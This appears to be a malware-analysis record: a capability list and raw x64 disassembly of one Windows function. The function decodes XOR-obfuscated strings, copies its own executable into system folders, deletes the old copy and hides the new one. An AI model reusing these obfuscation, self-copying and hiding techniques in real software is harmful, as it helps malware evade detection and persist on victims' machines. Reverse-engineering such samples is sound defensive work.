Function at 0x140004d74
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Delete file
Download url
Encode data using xor
Get common file path
Get disk information
Open clipboard
Query environment variable
Receive data
Set current directory
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1fe0]
mov eax, 0x20e0
call fcn.140014aa0
sub rsp, rax
mov rax, qword [0x140052080]
xor rax, rsp
mov qword [rbp + 0x1fd0], rax
mov r15, rdx
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x48], ecx
xor r14d, r14d
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rdx, [rbp + 0x1ca0]
mov r12d, 0x104
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov r8d, r12d
lea rdx, [rbp + 0x1860]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x1530]
call fcn.14001b170
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x1750]
call fcn.14001b170
lea rcx, [rbp + 0x1530]
call qword [sym.imp.SHLWAPI.dll_PathStripPathA]
lea rcx, [rbp + 0x1750]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea esi, [r14 + 7]
lea edi, [rsi - 4]
lea r13d, [r14 + 1]
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000af30
mov word [rsp + 0x40], 0x705a
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x70c
mov eax, dword [rdx + rcx]
mov ebx, 0x878
test r13b, al
jne 0x140004ea4
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 2], 0x125
movzx eax, word [rsp + 0x40]
mov word [rbx + rcx], ax
lea rcx, [0x14003dd98]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x140004ee2
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x4f5db529bd251177
shr rdx, cl
xor byte [r9 + r8], dl
add r8, r13
cmp r8, rdi
jb 0x140004ebc
mov byte [r9 + 3], r14b
mov rdx, r9
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000aa2f
mov rbx, qword [r15 + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 0x418], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x428], xmm1
mov rcx, rbx
call fcn.14001f1b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x418]
call fcn.140011aa8
nop
call fcn.14001f32c
mov rdi, rax
lea rbx, [rbp + 0x418]
cmp qword [rbp + 0x430], 0xf
cmova rbx, qword [rbp + 0x418]
mov dword [rax], r14d
mov r8d, 0xa
lea rdx, [rsp + 0x78]
mov rcx, rbx
call fcn.14001c350
cmp rbx, qword [rsp + 0x78]
je 0x14000c19f
cmp dword [rdi], 0x22
je 0x14000c1ac
mov rdx, qword [rbp + 0x430]
cmp rdx, 0xf
jbe 0x140004fb4
inc rdx
mov rcx, qword [rbp + 0x418]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004faf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1cb
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x428], xmm0
mov byte [rbp + 0x418], r14b
xor ecx, ecx
call fcn.14001f5f8
mov rcx, rax
call fcn.14001b0a0
mov dword [rsp + 0x50], 0xba8a7fc6
mov dword [rsp + 0x54], 0xd6674928
mov dword [rsp + 0x58], 0xf7e072b5
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1d8
mov eax, dword [rdx + rcx]
mov ebx, 0x850
test r13b, al
jne 0x14000503b
or eax, r13d
mov dword [rdx + rcx], eax
mov byte [rbx + rcx + 0xc], r13b
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbx + rcx], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rbx + rcx + 8], eax
lea rcx, [0x14003dd7c]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 0xc], r14b
je 0x14000507a
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x9f350d6df7c537e3
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 0xc
jb 0x140005053
mov byte [r9 + 0xc], r14b
mov r8d, r12d
lea rdx, [rbp + 0x1640]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov dword [rsp + 0x50], 0x904c971e
mov dword [rsp + 0x54], 0x3e91f9c8
mov dword [rsp + 0x58], 0xdd269a6d
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1fc
mov eax, dword [rdx + rcx]
mov ebx, 0x5a0
test r13b, al
jne 0x1400050ee
or eax, r13d
mov dword [rdx + rcx], eax
mov byte [rbx + rcx + 0xc], r13b
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbx + rcx], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rbx + rcx + 8], eax
lea rcx, [0x14003dd60]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 0xc], r14b
je 0x14000512d
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x77c3bd8ddd03df3b
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 0xc
jb 0x140005106
mov byte [r9 + 0xc], r14b
mov rdx, r9
lea rcx, [rbp + 0x1640]
call fcn.14001eb00
test eax, eax
jne 0x140005220
call fcn.14000c1f8
cmp byte [rax + 0xb], r14b
je 0x140005179
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x35bd7b75811f6707
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r13
cmp r8, 0xb
jb 0x140005152
mov byte [rax + 0xb], r14b
mov rdx, rax
lea rcx, [rbp + 0x1a80]
call fcn.14001b170
mov word [rsp + 0x40], 0x4b06
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x4c8
mov eax, dword [rdx + rcx]
mov ebx, 0x410
test r13b, al
jne 0x1400051d0
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 2], 0x147
movzx eax, word [rsp + 0x40]
mov word [rbx + rcx], ax
lea rcx, [0x14003dd24]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x14000520f
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xb3a1cd472f477145
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 3
jb 0x1400051e8
mov byte [r9 + 3], r14b
mov rdx, r9
lea rcx, [rbp + 0x1640]
call fcn.14001b170
jmp 0x14000526e
lea rdx, [rbp + 0x1640]
lea rcx, [rbp + 0x1970]
call fcn.14001b170
lea rcx, [rbp + 0x1970]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, r12d
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0x1970]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rcx, [rbp + 0x1640]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rax, [rbp + 0x1b90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rbp + 0x1b90]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea rax, [rbp + 0x1420]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rbp + 0x1420]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov dword [rsp + 0x50], 0x533bde37
mov dword [rsp + 0x54], 0xdda3133c
mov word [rsp + 0x58], 0xd536
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x138
mov eax, dword [rdx + rcx]
mov ebx, 0x328
test r13b, al
jne 0x140005335
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 0xa], 0x157
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbx + rcx], xmm0
movzx eax, word [rsp + 0x58]
mov word [rbx + rcx + 8], ax
lea rcx, [0x14003dd04]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi + 0xb], r14b
je 0x140005374
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xbf8d61592357bb5f
shr rdx, cl
xor byte [r8 + rdi], dl
add r8, r13
cmp r8, 0xb
jb 0x14000534d
mov byte [rdi + 0xb], r14b
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov r12d, 0x8000000
test eax, eax
je 0x1400054c9
mov rdx, rdi
lea rcx, [rbp + 0x1530]
call fcn.14001eb00
test eax, eax
je 0x1400054c9
mov rdx, rdi
lea rcx, [rbp + 0x9f8]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1420]
lea rcx, [rbp + 0x9d8]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9b8]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x1400053e4
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x9b8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x9d8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x9f8]
call fcn.14000f378
lea rax, [rbp + 0x148]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x1420]
lea rcx, [rbp + 0x148]
call fcn.14000f3d4
mov rbx, rax
mov rdx, rdi
lea rcx, [rbp + 0x2c8]
call fcn.14000f3d4
nop
mov r8d, r12d
mov rdx, rbx
mov rcx, rax
call fcn.140003f70
mov rdx, rdi
lea rcx, [rbp + 0xb78]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1420]
lea rcx, [rbp + 0xa38]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa18]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x140005495
mov rax, qword [rax]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0xa18]
call fcn.14000f378
nop
lea rcx, [rbp + 0xa38]
call fcn.14000f378
nop
lea rcx, [rbp + 0xb78]
call fcn.14000f378
lea rcx, [rbp + 0x1420]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rdx, [rbp + 0x1310]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp + 0x1310]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
movdqa xmm0, xmmword [0x140049860]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x350
mov eax, dword [rdx + rcx]
mov ebx, 0x418
test r13b, al
jne 0x14000555c
or eax, r13d
mov dword [rdx + rcx], eax
lea rax, [rbx + rcx]
mov byte [rax + 0x11], r13b
lea rcx, [rax + 0x10]
lea rdx, [rbp]
cmp rax, rdx
ja 0x140005548
lea rdx, [rbp - 0x10]
cmp rcx, rdx
jb 0x140005548
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x57
jmp 0x14000554f
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x57
lea rcx, [0x14003dcc4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
movabs rdi, 0xbfa18dc56965d557
cmp byte [rbx + 0x11], r14b
je 0x14000559b
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
mov rdx, rdi
shr rdx, cl
xor byte [r8 + rbx], dl
add r8, r13
cmp r8, 0x11
jb 0x14000557b
mov byte [rbx + 0x11], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x478], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x488], xmm1
mov rcx, rbx
call fcn.14001f1b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x478]
call fcn.140011aa8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x508], xmm1
lea rcx, [rbp + 0x1310]
call fcn.14001f1b0
mov r8, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x4f8]
call fcn.140011aa8
nop
mov dword [rsp + 0x50], 0x4909b033
mov dword [rsp + 0x54], 0x9081ebea
mov word [rsp + 0x58], 0xf526
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x8c4
mov eax, dword [rdx + rcx]
mov ebx, 0x9c8
test r13b, al
jne 0x140005667
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 0xa], 0x165
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbx + rcx], xmm0
movzx eax, word [rsp + 0x58]
mov word [rbx + rcx + 8], ax
lea rcx, [0x14003dce4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 0xb], r14b
je 0x14000569c
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
mov rdx, rdi
shr rdx, cl
xor byte [r8 + rbx], dl
add r8, r13
cmp r8, 0xb
jb 0x14000567c
mov byte [rbx + 0xb], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x468], xmm1
mov rcx, rbx
call fcn.14001f1b0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x458]
call fcn.140011aa8
nop
lea r8, [rbp + 0x4f8]
lea rdx, [rbp + 0x458]
lea rcx, [rbp + 0xb98]
call fcn.1400115ec
nop
lea r8, [rbp + 0x478]
mov rdx, rax
lea rcx, [rbp + 0x538]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x140005707
mov rax, qword [rax]
mov rcx, rax
call fcn.14001e9a8
mov rdx, qword [rbp + 0x550]
mov ebx, 0x1000
cmp rdx, 0xf
jbe 0x140005751
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, rbx
jb 0x14000574c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1b9
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x548], xmm0
mov byte [rbp + 0x538], r14b
lea rcx, [rbp + 0xb98]
call fcn.14000f378
nop
mov rdx, qword [rbp + 0x470]
cmp rdx, 0xf
jbe 0x1400057b2
inc rdx
mov rcx, qword [rbp + 0x458]
mov rax, rcx
cmp rdx, rbx
jb 0x1400057ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1bf
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x468], xmm0
mov byte [rbp + 0x458], r14b
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140005806
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, rbx
jb 0x140005801
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1c5
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x508], xmm0
mov byte [rbp + 0x4f8], r14b
mov rdx, qword [rbp + 0x490]
cmp rdx, 0xf
jbe 0x14000585a
inc rdx
mov rcx, qword [rbp + 0x478]
mov rax, rcx
cmp rdx, rbx
jb 0x140005855
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1cb
call fcn.140014320
movdqa xmm0, xmmword [0x1400496d0]
movdqu xmmword [rbp + 0x488], xmm0
mov byte [rbp + 0x478], r14b
mov dword [rsp + 0x40], 0xaf6e8f19
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x938
mov eax, dword [rdx + rcx]
mov ebx, 0x6d4
test r13b, al
jne 0x1400058b8
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 4], 0x133
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
lea rcx, [0x14003dc8c]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 5], r14b
je 0x1400058ff
mov r8, r14
movabs r15, 0x431f6d33c107ed37
mov cl, r8b
and cl, sil
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 5
jb 0x1400058da
mov byte [r9 + 5], r14b
mov r15, qword [rsp + 0x60]
mov rdx, r9
lea rcx, [rbp + 0xef8]
call fcn.14000f3d4
mov rdi, rax
call fcn.14001b074
mov edx, eax
lea rcx, [rbp + 0xeb8]
call fcn.140001e60
mov rsi, rax
mov word [rsp + 0x40], 0x8152
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x344
mov ecx, dword [rax + rdx]
mov ebx, 0x87c
test r13b, cl
jne 0x14000596f
or ecx, r13d
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 2], 0x107
movzx eax, word [rsp + 0x40]
mov word [rbx + rdx], ax
lea rcx, [0x14003dca8]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x1400059b1
mov r8, r14
movabs r10, 0x431f6d33c107ed37
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 3
jb 0x140005991
mov byte [r9 + 3], r14b
mov rdx, r9
lea rcx, [rbp + 0xe98]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0xdf8]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xbd8]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xbb8]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x378]
call fcn.1400115ec
nop
lea rcx, [rbp + 0xbb8]
call fcn.14000f378
nop
lea rcx, [rbp + 0xbd8]
call fcn.14000f378
nop
lea rcx, [rbp + 0xdf8]
call fcn.14000f378
nop
lea rcx, [rbp + 0xe98]
call fcn.14000f378
nop
lea rcx, [rbp + 0xeb8]
call fcn.14000f378
nop
lea rcx, [rbp + 0xef8]
call fcn.14000f378
mov dword [rsp + 0x40], 0x8504b395
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x56c
mov eax, dword [rdx + rcx]
mov ebx, 0x704
test r13b, al
jne 0x140005aa4
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 4], 0x199
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
lea rcx, [0x14003dc54]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 5], r14b
je 0x140005aeb
mov r8, r14
movabs r15, 0x3b850599eb6dd1bb
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 5
jb 0x140005ac6
mov byte [r9 + 5], r14b
mov r15, qword [rsp + 0x60]
mov rdx, r9
lea rcx, [rbp + 0x6d8]
call fcn.14000f3d4
mov rdi, rax
call fcn.14001b074
mov edx, eax
lea rcx, [rbp + 0x6b8]
call fcn.140001e60
mov rsi, rax
mov word [rsp + 0x40], 0xbdde
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0xb38
mov ecx, dword [rax + rdx]
mov ebx, 0x748
test r13b, cl
jne 0x140005b5b
or ecx, r13d
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 2], 0x16d
movzx eax, word [rsp + 0x40]
mov word [rbx + rdx], ax
lea rcx, [0x14003dc70]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x140005b9d
mov r8, r14
movabs r10, 0x3b850599eb6dd1bb
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 3
jb 0x140005b7d
mov byte [r9 + 3], r14b
mov rdx, r9
lea rcx, [rbp + 0x698]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0xf78]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xf58]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xf18]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x438]
call fcn.1400115ec
nop
lea rcx, [rbp + 0xf18]
call fcn.14000f378
nop
lea rcx, [rbp + 0xf58]
call fcn.14000f378
nop
lea rcx, [rbp + 0xf78]
call fcn.14000f378
nop
lea rcx, [rbp + 0x698]
call fcn.14000f378
nop
lea rcx, [rbp + 0x6b8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x6d8]
call fcn.14000f378
mov dword [rsp + 0x40], 0xc9a62dcb
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x480
mov eax, dword [rdx + rcx]
mov ebx, 0x560
test r13b, al
jne 0x140005c90
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 4], 0x11b
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
lea rcx, [0x14003dc1c]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 5], r14b
je 0x140005cd7
mov r8, r14
movabs r15, 0x57c9a51ba7cf4fe5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 5
jb 0x140005cb2
mov byte [r9 + 5], r14b
mov r15, qword [rsp + 0x60]
mov rdx, r9
lea rcx, [rbp + 0x798]
call fcn.14000f3d4
mov rdi, rax
call fcn.14001b074
mov edx, eax
lea rcx, [rbp + 0x778]
call fcn.140001e60
mov rsi, rax
mov word [rsp + 0x40], 0x2395
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x778
mov ecx, dword [rax + rdx]
mov ebx, 0x610
test r13b, cl
jne 0x140005d47
or ecx, r13d
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 2], 0x1cf
movzx eax, word [rsp + 0x40]
mov word [rbx + rdx], ax
lea rcx, [0x14003dc38]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x140005d89
mov r8, r14
movabs r10, 0x57c9a51ba7cf4fe5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 3
jb 0x140005d69
mov byte [r9 + 3], r14b
mov rdx, r9
lea rcx, [rbp + 0x758]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x738]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x718]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x6f8]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3f8]
call fcn.1400115ec
nop
lea rcx, [rbp + 0x6f8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x718]
call fcn.14000f378
nop
lea rcx, [rbp + 0x738]
call fcn.14000f378
nop
lea rcx, [rbp + 0x758]
call fcn.14000f378
nop
lea rcx, [rbp + 0x778]
call fcn.14000f378
nop
lea rcx, [rbp + 0x798]
call fcn.14000f378
lea rdi, [rbp + 0x3f8]
cmp qword [rbp + 0x410], 0xf
cmova rdi, qword [rbp + 0x3f8]
mov dword [rsp + 0x40], 0xc21a5ba7
mov word [rsp + 0x44], 0x93f4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x784
mov eax, dword [rdx + rcx]
mov ebx, 0x3e0
test r13b, al
jne 0x140005ea4
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 6], 0x1e3
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
movzx eax, word [rsp + 0x44]
mov word [rbx + rcx + 4], ax
lea rcx, [0x14003dbfc]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 7], r14b
je 0x140005ee3
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0x5de3eb81a34537d7
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 7
jb 0x140005ebc
mov byte [r9 + 7], r14b
mov rdx, rdi
mov rcx, r9
call fcn.140002488
test eax, eax
jne 0x140005f54
lea rax, [rbp + 0x288]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x288]
call fcn.14000f418
mov rbx, rax
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x2a8]
call fcn.14000f418
nop
mov r8d, r12d
mov rdx, rbx
mov rcx, rax
call fcn.14000354c
lea rcx, [rbp + 0x3f8]
cmp qword [rbp + 0x410], 0xf
cmova rcx, qword [rbp + 0x3f8]
call fcn.140002380
jmp 0x140005f59
mov rax, qword [rsp + 0x78]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x40], 0x8f70a175
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x894
mov eax, dword [rdx + rcx]
mov ebx, 0x458
test r13b, al
jne 0x140005fa4
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 4], 0x141
mov eax, dword [rsp + 0x40]
mov dword [rbx + rcx], eax
lea rcx, [0x14003dbc4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 5], r14b
je 0x140005feb
mov r8, r14
movabs r15, 0x91e15b41e119c35b
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 5
jb 0x140005fc6
mov byte [r9 + 5], r14b
mov r15, qword [rsp + 0x60]
mov rdx, r9
lea rcx, [rbp + 0x858]
call fcn.14000f3d4
mov rdi, rax
call fcn.14001b074
mov edx, eax
lea rcx, [rbp + 0x838]
call fcn.140001e60
mov rsi, rax
mov word [rsp + 0x40], 0xaf2f
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x430
mov ecx, dword [rax + rdx]
mov ebx, 0x4d8
test r13b, cl
jne 0x14000605b
or ecx, r13d
mov dword [rax + rdx], ecx
mov word [rbx + rdx + 2], 0x119
movzx eax, word [rsp + 0x40]
mov word [rbx + rdx], ax
lea rcx, [0x14003dbe0]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x14000609d
mov r8, r14
movabs r10, 0x91e15b41e119c35b
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r13
cmp r8, 3
jb 0x14000607d
mov byte [r9 + 3], r14b
mov rdx, r9
lea rcx, [rbp + 0x818]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x7f8]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7d8]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x7b8]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3d8]
call fcn.1400115ec
nop
lea rcx, [rbp + 0x7b8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x7d8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x7f8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x818]
call fcn.14000f378
nop
lea rcx, [rbp + 0x838]
call fcn.14000f378
nop
lea rcx, [rbp + 0x858]
call fcn.14000f378
lea rdi, [rbp + 0x3d8]
